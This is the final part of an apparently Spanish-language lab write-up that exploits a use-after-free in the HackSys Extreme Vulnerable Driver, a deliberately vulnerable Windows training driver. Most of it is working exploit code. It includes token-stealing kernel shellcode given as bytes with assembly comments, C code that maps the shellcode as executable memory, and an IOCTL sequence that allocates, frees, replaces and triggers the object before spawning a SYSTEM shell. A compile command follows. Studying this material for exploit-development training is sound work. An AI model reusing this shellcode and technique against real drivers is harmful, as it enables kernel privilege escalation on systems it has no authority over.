"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
// return to userland code
"\x31\xc0" // xor eax,eax
"\xC3"; // ret
LPVOID lpPayload = VirtualAlloc(NULL,
56,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpPayload == NULL)
{
printf("[-] Failed to create shellcode allocation\n");
return -1;
}
memcpy(lpPayload, shellcode, 56);
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
evilBuffer = allocate_buffer(lpPayload);
if (evilBuffer == NULL)
{
printf("[*] Failed to allocate evil buffer (userland)\n");
return -1;
}
printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);
printf("[*] Freeing object\n");
sendIoctl(hHEVD, HEVD_FREE, NULL, 0);
printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
printf("[*] Triggering UAF\n");
sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
printf("[+] Enjoy the shell :)\n\n");
system("cmd.exe");
}
Una vez compilado:
i686-w64-mingw32-gcc poc.c -o poc.exe
Nos da acceso!
Recursos
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/paged_code